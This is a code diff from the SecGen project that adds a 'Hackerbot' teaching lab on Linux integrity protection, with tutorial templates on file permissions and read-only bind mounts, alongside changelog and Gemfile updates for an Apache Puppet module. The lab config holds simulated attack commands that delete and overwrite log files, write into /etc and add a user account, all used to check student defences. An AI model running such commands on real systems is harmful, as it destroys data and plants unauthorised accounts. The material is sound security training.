+		<help>I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*'</help>
+		<say_answer>Say "The answer is *X*".</say_answer>
+		<no_quiz>There is no question to answer</no_quiz>
+		<correct_answer>Correct</correct_answer>
+		<incorrect_answer>Incorrect</incorrect_answer>
+		<invalid>That's not possible.</invalid>
+		<non_answer>Wouldn't you like to know.</non_answer>
+
+		<!--can be overwritten per-attack-->
+		<shell_fail_message>Oh no. Failed to get shell... You need to let us in.</shell_fail_message>
+	</messages>
+
+	<tutorial_info>
+		<title>Integrity Management: Protecting Against and Detecting Change</title>
+		<tutorial><%= ERB.new(File.read self.templates_path + 'intro.md.erb').result(self.get_binding) %></tutorial>
+		<footer><%= File.read self.templates_path + 'integrity_limitations.md.erb' %>
+
+<%= File.read self.templates_path + 'resources.md.erb' %>
+
+<%= File.read self.templates_path + 'license.md.erb' %>
+
+Randomised instance generated by [SecGen](http://github.com/cliffe/SecGen) (<%= Time.new.to_s %>)
+		</footer>
+
+		<provide_tutorial>true</provide_tutorial>
+
+	</tutorial_info>
+
+	<attack>
+<% $file = SecureRandom.hex(2) -%>
+		<prompt>An attempt to write /tmp/<%= $file %> is coming from user <%= $second_user %>. Stop the attack by creating the file without permission for other users to write to the file.</prompt>
+
+		<post_command>sudo -u <%= $second_user %> bash -c 'echo boom > /tmp/<%= $file %>'; echo $?</post_command>
+		<condition>
+			<output_matches>Permission denied</output_matches>
+			<message>:) Well done! <%= $flags.pop %></message>
+			<trigger_next_attack>true</trigger_next_attack>
+		</condition>
+		<condition>
+			<output_equals>0</output_equals>
+			<message>:( We managed to write to your file! You need to use access controls to protect the file. Create a new file.</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right...</message>
+		</else_condition>
+
+		<tutorial><%= ERB.new(File.read self.templates_path + 'file_permissions.md.erb').result(self.get_binding) %></tutorial>
+	</attack>
+
+	<attack>
+<% $log_file = $log_files.sample -%>
+		<!-- topic: Protecting integrity with file attributes-->
+		<prompt>An attempt to delete /home/<%= $main_user %>/<%= $log_file %> is coming. Stop the attack using file attributes.</prompt>
+
+		<post_command>rm --interactive=never /home/<%= $main_user %>/<%= $log_file %>; echo $?</post_command>
+		<condition>
+			<output_matches>Operation not permitted</output_matches>
+			<message>:) Well done! <%= $flags.pop %></message>
+			<trigger_next_attack>true</trigger_next_attack>
+		</condition>
+		<condition> <!-- TODO: chmod to defeat the defense? -->
+			<output_matches>Permission denied</output_matches>
+			<message>:( You did protect the file, but not using file attributes.</message>
+		</condition>
+		<condition>
+			<output_equals>0</output_equals>
+			<message>:( We managed to delete your file! You need to use file attributes to protect the file.  Create a new file.</message>
+		</condition>
+		<condition>
+			<output_matches>No such file or directory</output_matches>
+			<message>:( The file should exist!</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right...</message>
+		</else_condition>
+
+		<tutorial><%= ERB.new(File.read self.templates_path + 'file_attributes.md.erb').result(self.get_binding) %></tutorial>
+	</attack>
+
+	<attack>
+<% $log_file = $log_files.sample -%>
+		<!-- topic: Protecting integrity with file attributes-->
+		<prompt>An attempt to overwrite /home/<%= $main_user %>/<%= $log_file %> is coming. Stop the attack by making the file append only.</prompt>
+
+		<post_command>echo 'your logs are gone!' > /home/<%= $main_user %>/<%= $log_file %>; echo 'appended!' >> /home/<%= $main_user %>/<%= $log_file %>; tail -n2 /home/<%= $main_user %>/<%= $log_file %>; echo $?</post_command>
+		<condition>
+			<output_not_matches>appended!</output_not_matches>
+			<message>:( You stopped anything from being appended to the file. What kind of log file do you think this is?</message>
+		</condition>
+		<condition>
+			<output_matches>Operation not permitted</output_matches>
+			<message>:) Well done! <%= $flags.pop %></message>
+			<trigger_next_attack>true</trigger_next_attack>
+		</condition>
+		<condition>
+			<output_matches>No such file or directory</output_matches>
+			<message>:( The file should exist!</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right...</message>
+		</else_condition>
+	</attack>
+
+	<attack>
+		<!-- topic: Protecting integrity with read-only filesystems-->
+		<prompt>An attempt to edit a file in /etc/ is coming. Stop the attack by bind mounting /etc/ as read-only.</prompt>
+
+		<post_command>echo 'not read only!' > /etc/you_were_hacked; adduser --disabled-password --gecos "" yourehacked</post_command>
+		<condition>
+			<output_matches>Read-only file system</output_matches>
+			<message>:) Well done! <%= $flags.pop %></message>
+			<trigger_next_attack />
+		</condition>
+		<condition>
+			<output_matches>Permission denied|Operation not permitted</output_matches>
+			<message>:( You stopped the attack, but not by using read only bind mounting...</message>
+		</condition>
+		<else_condition>
+			<message>:( Something was not right...</message>
+		</else_condition>
+
+		<tutorial><%= ERB.new(File.read self.templates_path + 'ro_mounting.md.erb').result(self.get_binding) %></tutorial>
+	</attack>
+
+
+	<attack>
+		<prompt>Finally, try to prevent me from obtaining shell access to your system</prompt>
+		<shell_fail_message>:) Failed to get shell... <%= $flags.pop %></shell_fail_message>
+	</attack>
+
+</hackerbot>

modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity_limitations.md.erb

@@ -0,0 +1,3 @@
+#### Limitations of integrity checking
+
+Perhaps the greatest limitation to all of these approaches, is that if a system is compromised, you may not be able to trust any of the tools on the system, or even the operating system itself to behave as expected. In the case of a security compromise, your configuration files may have been altered, including any hashes you have stored locally, and tools may have been replaced by Trojan horses. For this reason it is safer to run tools over the network or from a removable drive, with read-only access to protect your backups and hashes. Even then, the OS/kernel/shell may not be telling you the truth about what is happening, since a rootkit could be concealing the truth from other programs.

modules/generators/structured_content/hackerbot_config/integrity_protection/templates/intro.md.erb

@@ -0,0 +1,50 @@
+# Integrity Management: Protecting Against Change
+
+## Getting started
+### VMs in this lab
+
+==Start these VMs== (if you haven't already):
+- hackerbot_server (leave it running, you don't log into this)
+- desktop
+
+### Your login details for the "desktop" VM
+User: <%= $main_user %>
+Password: tiaspbiqe2r (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember)
+
+You won't login to the hackerbot_server, but the VM needs to be running to complete the lab.
+
+### For marks in the module
+1. **You need to submit flags**. Note that the flags and the challenges in your VMs are different to other's in the class. Flags will be revealed to you as you complete challenges throughout the module. Flags look like this: ==flag{*somethingrandom*}==. Follow the link on the module page to submit your flags.
+2. **You need to document the work and your solutions in a workbook**. This needs to include screenshots (including the flags) of how you solved each Hackerbot challenge and a writeup describing your solution to each challenge, and answering any "Workbook Questions". The workbook will be submitted later in the semester.
+
+## Meet Hackerbot!
+![small-right](images/skullandusb.svg)
+
+This exercise involves interacting with Hackerbot, a chatbot who will attack your system. If you satisfy Hackerbot by completing the challenges she will reveal flags to you.
+
+**On the desktop VM:**
+
+==Open Pidgin and send some messages to Hackerbot:==
+
+- Try asking Hackerbot some questions
+- Send "help"
+- Send "list"
+- Send "hello"
+
+Hackerbot will start you on your journey! Work through the below exercises, completing the Hackerbot challenges as noted.
+
+---
+
+## Integrity
+
+Security is often described in terms of confidentiality, integrity, and availability. Protecting the integrity of information involves preventing and detecting unauthorised changes. In many commercial organisations integrity of information is the highest priority security goal. Managing who is authorised to make changes to databases or files, and monitoring the integrity of resources for unauthorised changes is an important task in managing information security.
+
+## Protecting integrity
+
+Protecting the integrity of resources, such as the files on a system, involves successfully managing a variety of security mechanisms, such as authentication, access controls and file permissions, firewalls, and so on.
+
+> On Linux systems this can include managing passwords, packet filtering IPTables rules, standard Unix file permissions (rwx), Linux extended attributes (including ACLs for detailed authentication, labels for mandatory access control (MAC), and Linux Capabilities). Linux (like other Unix-like and Unix-based systems) has a long history of adding new security features as and when they are required.
+>
+> Note that many security controls such as those listed above are very important for protecting the integrity of files, but are beyond the scope of this lab. Here the focus is on techniques that are focussed on integrity rather than confidentiality or availability.
+
+There are precautions that can be taken to reduce the chances of unauthorised changes.

modules/generators/structured_content/hackerbot_config/integrity_protection/templates/labsheet.html.erb

@@ -0,0 +1,114 @@
+<html>
+<head>
+	<title><%= self.title %></title>
+</head>
+<body>
+<meta name="viewport" content="width=device-width, initial-scale=1">
+<link rel="stylesheet" href="css/github-markdown.css">
+<style>
+	.markdown-body {
+		box-sizing: border-box;
+		min-width: 200px;
+		max-width: 980px;
+		margin: 0 auto;
+		padding: 45px;
+	}
+	.markdown-body h4[id^='hackerbot']:after {
+		display: inline-block;
+		float: right;
+		content: url("images/skullandusb.svg");
+		width: 30px;
+	}
+	article {
+		float: right;
+		width: calc(100% - 300px);
+	}
+	.toc {
+		float: left;
+		font-size: smaller;
+		color: #1a1d22;
+		width: 300px;
+		position: fixed;
+		height: calc(100% - 56px);
+		overflow-y: scroll;
+		font-family: sans-serif;
+		margin-top: 50px;
+	}
+	.toc ul {
+		list-style-type: none;
+		padding: 0;
+		margin-left: 1em;
+	}
+	.toc li { /* Space between menu items*/
+		margin: 1em 0;
+	}
+	.toc a {
+		color: #1a1d22;
+		text-decoration: none;
+	}
+	.toc a:hover {
+		color: #6c036d;
+		text-decoration: none;
+	}
+	.toc a:visited {
+		color: #1a1d22;
+		text-decoration: none;
+	}
+	.markdown-body pre, .markdown-body code {
+		background-color: #570138;
+		color: whitesmoke;
+	}
+	.markdown-body img[alt="small-left"] {
+		max-width: 100px;
+		float: left;
+	}
+	.markdown-body img[alt="small-right"] {
+		max-width: 100px;
+		float: right;
+	}
+	.markdown-body img[alt="tiny-right"] {
+		max-width: 30px;
+		float: right;
+	}
+	.markdown-body img[alt="small"] {
+		max-width: 100px;
+		display: block;
+		margin-left: auto;
+		margin-right: auto;
+		padding: 15px;
+	}
+	mark {
+		background-color: white;
+		color: #5b29bd;
+		font-weight: bold;
+	}
+	@media (max-width: 767px) {
+		.markdown-body {
+			padding: 15px;
+			min-width: 200px;
+			max-width: 980px;
+    }
+		.toc {
+			float: none;
+			width: 100%;
+      position: relative;
+			overflow: auto;
+			height: auto;
+		}
+		article {
+			float: none;
+			width: 100%;
+		}
+
+	}
+</style>
+<div class="toc">
+	<%= self.html_TOC_rendered %>
+</div>
+
+<article class="markdown-body">
+	<%= self.html_rendered %>
+</article>
+<script src="js/code-prettify/loader/run_prettify.js?autoload=true&amp;skin=sunburst&amp;lang=css"></script>
+</body>
+</html>

modules/generators/structured_content/hackerbot_config/integrity_protection/templates/license.md.erb

@@ -0,0 +1,6 @@
+## License
+This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB).
+
+Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version.
+
+![small](images/leedsbeckett-logo.png)

modules/generators/structured_content/hackerbot_config/integrity_protection/templates/resources.md.erb

@@ -0,0 +1,5 @@
+## Resources
+
+An excellent resource on the subject of integrity management is Chapter 20 of the excellent book *Practical Unix & Internet Security, 3rd Ed*, by Garfinkel et al (2003).
+
+Bind mounting: [http://lwn.net/Articles/281157/](http://lwn.net/Articles/281157/)

modules/generators/structured_content/hackerbot_config/integrity_protection/templates/ro_mounting.md.erb

@@ -0,0 +1,80 @@
+### Protecting integrity with read-only filesystems
+#### Getting to know read-only mounting
+On Unix, a filesystem is mounted to a particular point in the directory structure; for example, a USB thumb drive may be mounted to /media/myUSB/. Some filesystems will automatically mount read-only; for example, if you insert a CD-ROM, since those disks are physically read-only. It is possible to optionally mount almost any filesystem, such as a USB or even a directory, in read-only mode, which will make it practically impossible to write changes to it (without remounting or accessing the drive/directory in other ways, which normally only root can do).
+
+In new versions of Linux, it is possible to have a directory (one part of what is on a disk) present in the directory structure twice with different mount options (for example, /home/<%= $main_user %> and /home/<%= $main_user %>-read-only). This can be achieved by bind mounting, and then remounting to set the bind mount to read only.
+
+In a command prompt, ==run:==
+
+```bash
+mount
+```
+> Note that many of the devices and directories have been mounted for read and write access (**rw**). For security reasons, it can be safer to mount things as read-only, when we don't need to be able to make changes to the contents.
+
+Ordinary users can only read the /etc/ directory but the superuser root who owns the /etc/ directory can read and write to it. In the following example, you are going to mount the /etc/ directory to a mount point (another directory within the filesystem) and the contents of the /etc/ directory will be accessible via the mount point.
+
+List the contents of the /etc/ directory so you are familiar with its contents:
+
+```bash
+ls /etc/
+```
+Create a new directory to be the mount point. ==Run:==
+
+```bash
+mkdir /home/<%= $main_user %>/etc
+```
+==Mount the /etc/ directory to the new mount point:==
+
+```bash
+sudo mount -o bind /etc/ /home/<%= $main_user %>/etc/
+```
+Make sure the /etc/ directory is accessible via the home-etc directory mount point:
+
+```bash
+ls /home/<%= $main_user %>/etc/
+```
+Ordinary users can only read but the superuser root can still write to the directory. Test this by creating a new file as the superuser root in the /home/<%= $main_user %>/etc/ directory:
+
+```bash
+sudo touch /home/<%= $main_user %>/etc/newfile1
+```
+Check that a new file has been created using the following commands:
+
+```bash
+ls -l /home/<%= $main_user %>/etc/newfile1
+```
+
+```bash
+ls -l /etc/newfile1
+```
+
+We can use read only mounting to make filesystems and directories available read-only. Next you will ==remount /etc/ in read-only mode== so that even the superuser root who owns the /etc/ directory cannot make changes to its contents via the mount point.
+
+```bash
+sudo mount -o remount,ro,bind /etc/ /home/<%= $main_user %>/etc/
+```
+==Test this== by trying to create a new file as the superuser root in the /home/<%= $main_user %>/etc/ directory:
+
+```bash
+sudo touch /home/<%= $main_user %>/etc/newfile2
+```
+
+This should prevent changes being accidentally being made to important configuration files in the /etc/ directory.
+
+
+We can ==remount a directory as read-only to itself==:
+
+```bash
+sudo mount -o bind <%= $example_dir %> <%= $example_dir %>
+sudo mount -o remount,ro,bind <%= $example_dir %> <%= $example_dir %>
+```
+
+Now even the owner of the directory (you), can't make changes. ==Try:==
+
+```bash
+cat > <%= $example_dir %>new_file
+```
+
+Mounting read-only can be an effective way of protecting resources that you don't need to make any changes to. Read-only mounting is particularly effective when an actual disk resides externally, and *can be enforced remotely*. For example, when sharing files over the network.
+
+> Note that mounting read-only may be circumvented by root (or a user with enough privilege) via direct access to the device files (/dev/sdc1 in the example above), or by re-mounting as read-write (when the mounting ro is not enforced via remote network share).

modules/services/unix/http/apache/CHANGELOG.md

@@ -1,5 +1,54 @@
-## Supported Release 1.11.0
-#### Summary
+# Change log
+
+All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/)
+and this project adheres to [Semantic Versioning](http://semver.org).
+
+## Supported Release [2.0.0]
+### Summary
+Major release **removing Puppet 3 support** and other backwards-incompatible changes.
+
+#### Added
+- support for FileETag directive configurable with the `file_e_tag` parameter
+- ability to configure multiple ports per vhost
+- RequestHeader directive to vhost template ([MODULES-4156](https://tickets.puppet.com/browse/MODULES-4156))
+- customizability for AllowOverride directive in userdir.conf ([MODULES-4516](https://tickets.puppet.com/browse/MODULES-4516))
+- AdvertiseFrequency directive for cluster.conf ([MODULES-4500](https://tickets.puppet.com/browse/MODULES-4500))
+- `ssl_proxy_protocol` and `ssl_sessioncache` parameters for mod::ssl ([MODULES-4737](https://tickets.puppet.com/browse/MODULES-4737))
+- SSLCACertificateFile directive in ssl.conf configurable with `ssl_ca` parameter
+- mod::authnz_pam 
+- mod::intercept_form_submit 
+- mod::lookup_identity
+- Suse compatibility for mod::proxy_html
+- support for AddCharset directive configurable with `add_charset` parameter
+- support for SSLProxyVerifyDepth and SSLProxyCACertificateFile directives configurable with `ssl_proxy_verify_depth` and `ssl_proxy_ca_cert` respectively
+- `manage_security_crs` parameter for mod::security
+- support for LimitExcept directive configurable with `limit_except` parameter
+- support for WSGIRestrictEmbedded directive configurable with `wsgi_restrict_embedded` parameter
+- support for custom UserDir path ([MODULES-4933](https://tickets.puppet.com/browse/MODULES-4933))
+- support for PassengerMaxRequests directive configurable with `passenger_max_requests`
+- option to override module package names with `mod_packages` parameter ([MODULES-3838](https://tickets.puppet.com/browse/MODULES-3838))
+
+#### Removed
+- enclose_ipv6 as it was added to puppetlabs-stdlib
+- deprecated `$verifyServerCert` parameter from the `apache::mod::authnz_ldap` class ([MODULES-4445](https://tickets.puppet.com/browse/MODULES-4445))
+
+#### Changed
+- `keepalive` default to 'On' from 'Off'
+- Puppet version compatibility to ">= 4.7.0 < 6.0.0"
+- puppetlabs-stdlib dependency to ">= 4.12.0 < 5.0.0"
+- `ssl_cipher` to explicitly disable 3DES because of Sweet32
+
+#### Fixed
+- various issues in the vhost template
+- use of deprecated `include_src` parameter in vhost_spec
+- management of ssl.conf on RedHat systems
+- various SLES/Suse params
+- mod::cgi ordering for FreeBSD
+- issue where ProxyPreserveHost could not be set without other Proxy* directives
+- the module attempting to install proxy_html on Ubuntu Xenial and Debian Stretch
+
+## Supported Release [1.11.0]
+### Summary
 This release adds SLES12 Support and many more features and bugfixes.
 
 #### Features
@@ -68,7 +117,7 @@ This release adds SLES12 Support and many more features and bugfixes.
 - (MODULES-3744) Process $crs_package before $modsec_dir
 - (MODULES-1491) Adds `::apache` include to mods that need it
 
-## Supported Release 1.10.0
+## Supported Release [1.10.0]
 #### Summary
 This release fixes backwards compatibility bugs introduced in 1.9.0. Also includes a new mod class and a new vhost feature.
 
@@ -89,7 +138,7 @@ This release fixes backwards compatibility bugs introduced in 1.9.0. Also includ
 - Revert "changed rpaf Configuration Directives: RPAF -> RPAF_". Bug introduced in release 1.9.0.
 - Set actual path to apachectl on FreeBSD. Fixes snippets verification.
 
-## Supported Release 1.9.0 [DELETED]
+## Supported Release [1.9.0] [DELETED]
 #### Features
 - Added `apache_version` fact
 - Added `apache::balancer::target` attribute
@@ -169,7 +218,7 @@ This release fixes backwards compatibility bugs introduced in 1.9.0. Also includ
 - Fixed xml2enc for proxy\_html on debian
 - Fixed a problem where the apache service restarts too fast
 
-## Supported Release 1.8.1
+## Supported Release [1.8.1]
 ### Summary
 This release includes bug fixes and a documentation update.
 
@@ -178,7 +227,7 @@ This release includes bug fixes and a documentation update.
 - Fixes a bug where passenger.conf was vulnerable to purging.
 - Removes the pin of the concat module dependency.
 
-## 2016-01-26 - Supported Release 1.8.0
+## Supported Release [1.8.0]
 ### Summary
 This release includes a lot of bug fixes and feature updates, including support for Debian 8, as well as many test improvements.
 
@@ -219,12 +268,12 @@ This release includes a lot of bug fixes and feature updates, including support
 - Added X-Forwarded-For into log_formats defaults.
 - (MODULES-2703) Allow mod pagespeed to take an array of lines as additional_configuration.
 
-## Supported Release 1.7.1
+## Supported Release [1.7.1]
 ###Summary
 
 Small release for support of newer PE versions. This increments the version of PE in the metadata.json file.
 
-## 2015-11-17 - Supported Release 1.7.0
+## Supported Release [1.7.0]
 ### Summary
 This release includes many new features and bugfixes. There are test, documentation and misc improvements.
 
@@ -272,7 +321,7 @@ This release includes many new features and bugfixes. There are test, documentat
 - allow multiple IP addresses per vhost
 - default document root update for Ubuntu 14.04 and Debian 8 
 
-## 2015-07-28 - Supported Release 1.6.0
+## Supported Release [1.6.0]
 ### Summary
 This release includes a couple of new features, along with test and documentation updates, and support for the latest AIO puppet builds.
 
@@ -286,7 +335,7 @@ This release includes a couple of new features, along with test and documentatio
 - Do not use systemd on Amazon Linux
 - Add missing docs for `timeout` parameter (MODULES-2148)
 
-## 2015-06-11 - Supported Release 1.5.0
+## Supported Release [1.5.0]
 ### Summary
 This release primarily adds Suse compatibility. It also adds a handful of other
 parameters for greater configuration control.
@@ -318,11 +367,11 @@ parameters for greater configuration control.
 - Fix userdir access permissions
 - Fix issue where the module was trying to use systemd on Amazon Linux.
 
-## 2015-04-28 - Supported Release 1.4.1
+## Supported Release [1.4.1]
 
 This release corrects a metadata issue that has been present since release 1.2.0. The refactoring of `apache::vhost` to use `puppetlabs-concat` requires a version of concat newer than the version required in PE. If you are using PE 3.3.0 or earlier you will need to use version 1.1.1 or earlier of the `puppetlabs-apache` module.
 
-## 2015-03-17 - Supported Release 1.4.0
+## Supported Release [1.4.0]
 ###Summary
 
 This release fixes the issue where the docroot was still managed even if the default vhosts were disabled and has many other features and bugfixes including improved support for 'deny' and 'require' as arrays in the 'directories' parameter under `apache::vhost`
@@ -365,7 +414,7 @@ This release fixes the issue where the docroot was still managed even if the def
 - Change the loadfile name for `mod_passenger` so `mod_proxy` will load by default before `mod_passenger`
 - Remove old Debian work-around that removed `passenger_extra.conf`
 
-## 2015-02-17 - Supported Release 1.3.0
+## Supported Release [1.3.0]
 ### Summary
 
 This release has many new features and bugfixes, including the ability to optionally not trigger service restarts on config changes.
@@ -424,7 +473,7 @@ This release has many new features and bugfixes, including the ability to option
 - Fix indentation in `vhost/_directories.erb` template (MODULES-1688)
 - Create symlinks on all distros if `vhost_enable_dir` is specified
 
-## 2014-09-30 - Supported Release 1.2.0
+## Supported Release [1.2.0]
 ### Summary
 
 This release features many improvements and bugfixes, including several new defines, a reworking of apache::vhost for more extensibility, and many new parameters for more customization. This release also includes improved support for strict variables and the future parser.
@@ -527,13 +576,13 @@ This release features many improvements and bugfixes, including several new defi
 * By default, the version of Apache that ships with Ubuntu 10.04 does not work with `wsgi_import_script`.
 * SLES is unsupported.
 
-## 2014-07-15 - Supported Release 1.1.1
+## Supported Release [1.1.1]
 ### Summary
 
 This release merely updates metadata.json so the module can be uninstalled and
 upgraded via the puppet module command.
 
-## 2014-04-14 Supported Release 1.1.0
+## Supported Release [1.1.0]
 
 ### Summary
 
@@ -568,7 +617,7 @@ through adding RHEL7 and Ubuntu 14.04 support.  It also includes Passenger
 * By default, the version of Apache that ships with Ubuntu 10.04 does not work with `wsgi_import_script`.
 * SLES is unsupported.
 
-## 2014-03-04 Supported Release 1.0.1
+## Supported Release [1.0.1]
 ### Summary
 
 This is a supported release.  This release removes a testing symlink that can
@@ -581,7 +630,7 @@ modulepath.
 * By default, the version of Apache that ships with Ubuntu 10.04 does not work with `wsgi_import_script`.
 * SLES is unsupported.
  
-## 2014-03-04 Supported Release 1.0.0
+## Supported Release [1.0.0]
 ### Summary
 
 This is a supported release. This release introduces Apache 2.4 support for
@@ -605,7 +654,7 @@ Debian and RHEL based osfamilies.
 
 ---
 
-## 2014-01-31 Release 0.11.0
+## Supported Release [0.11.0]
 ### Summary:
 
 This release adds preliminary support for Windows compatibility and multiple rewrite support.
@@ -642,7 +691,7 @@ This release adds preliminary support for Windows compatibility and multiple rew
 - Fix $ports_file reference in Namevirtualhost.
 
 
-## 2013-12-05 Release 0.10.0
+## Supported Release [0.10.0]
 ### Summary:
 
 This release adds FreeBSD osfamily support and various other improvements to some mods.
@@ -681,7 +730,7 @@ This release adds FreeBSD osfamily support and various other improvements to som
 - only apply Directory defaults when provider is a directory
 - Working mod_authnz_ldap support on Debian/Ubuntu
 
-## 2013-09-06 Release 0.9.0
+## Supported Release [0.9.0]
 ### Summary:
 This release adds more parameters to the base apache class and apache defined
 resource to make the module more flexible. It also adds or enhances SuPHP,
@@ -739,13 +788,13 @@ Class['apache::service']`
 - Made `aliases` able to take a single alias hash instead of requiring an
 array.
 
-## 2013-07-26 Release 0.8.1
+## Supported Release [0.8.1]
 #### Bugfixes:
 - Update `apache::mpm_module` detection for worker/prefork
 - Update `apache::mod::cgi` and `apache::mod::cgid` detection for
 worker/prefork
 
-## 2013-07-16 Release 0.8.0
+## Supported Release [0.8.0]
 #### Features:
 - Add `servername` parameter to `apache` class
 - Add `proxy_set` parameter to `apache::balancer` define
@@ -757,7 +806,7 @@ worker/prefork
 - Fix `apache::mod::*` to notify the service on config change
 - Documentation updates
 
-## 2013-07-09 Release 0.7.0
+## Supported Release [0.7.0]
 #### Changes:
 - Essentially rewrite the module -- too many to list
 - `apache::vhost` has many abilities -- see README.md for details
@@ -767,12 +816,12 @@ worker/prefork
 #### Bugfixes:
 - Many. And many more to come
 
-## 2013-03-2 Release 0.6.0
+## Supported Release [0.6.0]
 - update travis tests (add more supported versions)
 - add access log_parameter
 - make purging of vhost dir configurable
 
-## 2012-08-24 Release 0.4.0
+## Supported Release [0.4.0]
 #### Changes:
 - `include apache` is now required when using `apache::mod::*`
 
@@ -781,7 +830,7 @@ worker/prefork
 - Fix formatting in vhost template
 - Fix spec tests such that they pass
 
-## 2012-05-08 Puppet Labs <info@puppetlabs.com> - 0.0.4
+## Supported Release [0.0.4]
 * e62e362 Fix broken tests for ssl, vhost, vhost::*
 * 42c6363 Changes to match style guide and pass puppet-lint without error
 * 42bc8ba changed name => path for file resources in order to name namevar by it's name
@@ -814,3 +863,32 @@ worker/prefork
 * 6a5b11a Ensure installed
 * f672e46 a2mod fix
 * 8a56ee9 add pthon support to apache
+
+[2.0.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.11.0...2.0.0
+[1.11.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.10.0...1.11.0
+[1.10.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.9.0...1.10.0
+[1.9.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.8.1...1.9.0
+[1.8.1]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.8.0...1.8.1
+[1.8.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.7.1...1.8.0
+[1.7.1]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.7.0...1.7.1
+[1.7.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.6.0...1.7.0
+[1.6.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.5.0...1.6.0
+[1.5.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.4.1...1.5.0
+[1.4.1]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.4.0...1.4.1
+[1.4.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.3.0...1.4.0
+[1.3.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.2.0...1.3.0
+[1.2.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.1.1...1.2.0
+[1.1.1]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.1.0...1.1.1
+[1.1.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.0.1...1.1.0
+[1.0.1]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.0.0...1.0.1
+[1.0.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.11.0...1.0.0
+[0.11.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.10.0...0.11.0
+[0.10.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.9.0...0.10.0
+[0.9.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.8.1...0.9.0
+[0.8.1]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.8.0...0.8.1
+[0.8.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.7.0...0.8.0
+[0.7.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.6.0...0.7.0
+[0.6.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.5.0-rc1...0.6.0
+[0.5.0-rc1]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.4.0...0.5.0-rc1
+[0.4.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.3.0...0.4.0
+[0.0.4]:https://github.com/puppetlabs/puppetlabs-apache/commits/0.0.4

modules/services/unix/http/apache/CONTRIBUTING.md

@@ -43,7 +43,7 @@ Checklist (and a short version for the impatient)
 
       - Make sure you have a [GitHub account](https://github.com/join)
 
-      - [Create a ticket](https://tickets.puppetlabs.com/secure/CreateIssue!default.jspa), or [watch the ticket](https://tickets.puppetlabs.com/browse/) you are patching for.
+      - [Create a ticket](https://tickets.puppet.com/secure/CreateIssue!default.jspa), or [watch the ticket](https://tickets.puppet.com/browse/) you are patching for.
 
     * Preferred method:
 
@@ -215,4 +215,3 @@ Additional Resources
 * [General GitHub documentation](http://help.github.com/)
 
 * [GitHub pull request documentation](http://help.github.com/send-pull-requests/)
-

modules/services/unix/http/apache/Gemfile

@@ -29,39 +29,27 @@ end
 
 # Used for gem conditionals
 supports_windows = false
+ruby_version_segments = Gem::Version.new(RUBY_VERSION.dup).segments
+minor_version = "#{ruby_version_segments[0]}.#{ruby_version_segments[1]}"
 
 group :development do
-  gem 'puppet-lint',                        :require => false
-  gem 'metadata-json-lint',                 :require => false, :platforms => 'ruby'
-  gem 'puppet_facts',                       :require => false
-  gem 'puppet-blacksmith', '>= 3.4.0',      :require => false, :platforms => 'ruby'
-  gem 'puppetlabs_spec_helper', '>= 1.2.1', :require => false
-  gem 'rspec-puppet', '>= 2.3.2',           :require => false
-  gem 'rspec-puppet-facts',                 :require => false, :platforms => 'ruby'
-  gem 'mocha', '< 1.2.0',                   :require => false
-  gem 'simplecov',                          :require => false, :platforms => 'ruby'
-  gem 'parallel_tests', '< 2.10.0',         :require => false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.0.0')
-  gem 'parallel_tests',                     :require => false if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.0.0')
-  gem 'rubocop', '0.41.2',                  :require => false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.0.0')
-  gem 'rubocop',                            :require => false if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.0.0')
-  gem 'rubocop-rspec', '~> 1.6',            :require => false if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.3.0')
-  gem 'pry',                                :require => false
-  gem 'json_pure', '<= 2.0.1',              :require => false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.0.0')
-  gem 'fast_gettext', '1.1.0',              :require => false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.1.0')
-  gem 'fast_gettext',                       :require => false if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.1.0')
+  gem "puppet-module-posix-default-r#{minor_version}", :require => false, :platforms => "ruby"
+  gem "puppet-module-win-default-r#{minor_version}",   :require => false, :platforms => ["mswin", "mingw", "x64_mingw"]
